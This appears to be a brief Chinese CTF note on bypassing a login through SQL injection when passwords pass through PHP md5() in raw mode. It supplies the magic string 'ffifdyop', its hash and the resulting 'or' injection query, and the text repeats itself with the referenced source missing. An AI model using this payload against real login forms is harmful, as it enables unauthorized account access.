SQL源码
上面是源码,问题就在于什么样的密码md5()加密过后,函数会自动hex处理后包含'or'等字符串
$sql="select password from users where password=''or'<xxx>'"
提供一个现成字符串:
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
上面是源码,问题就在于什么样的密码md5()加密过后,函数会自动hex处理后包含'or'等字符串
$sql="select password from users where password=''or'<xxx>'"
提供一个现成字符串:
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c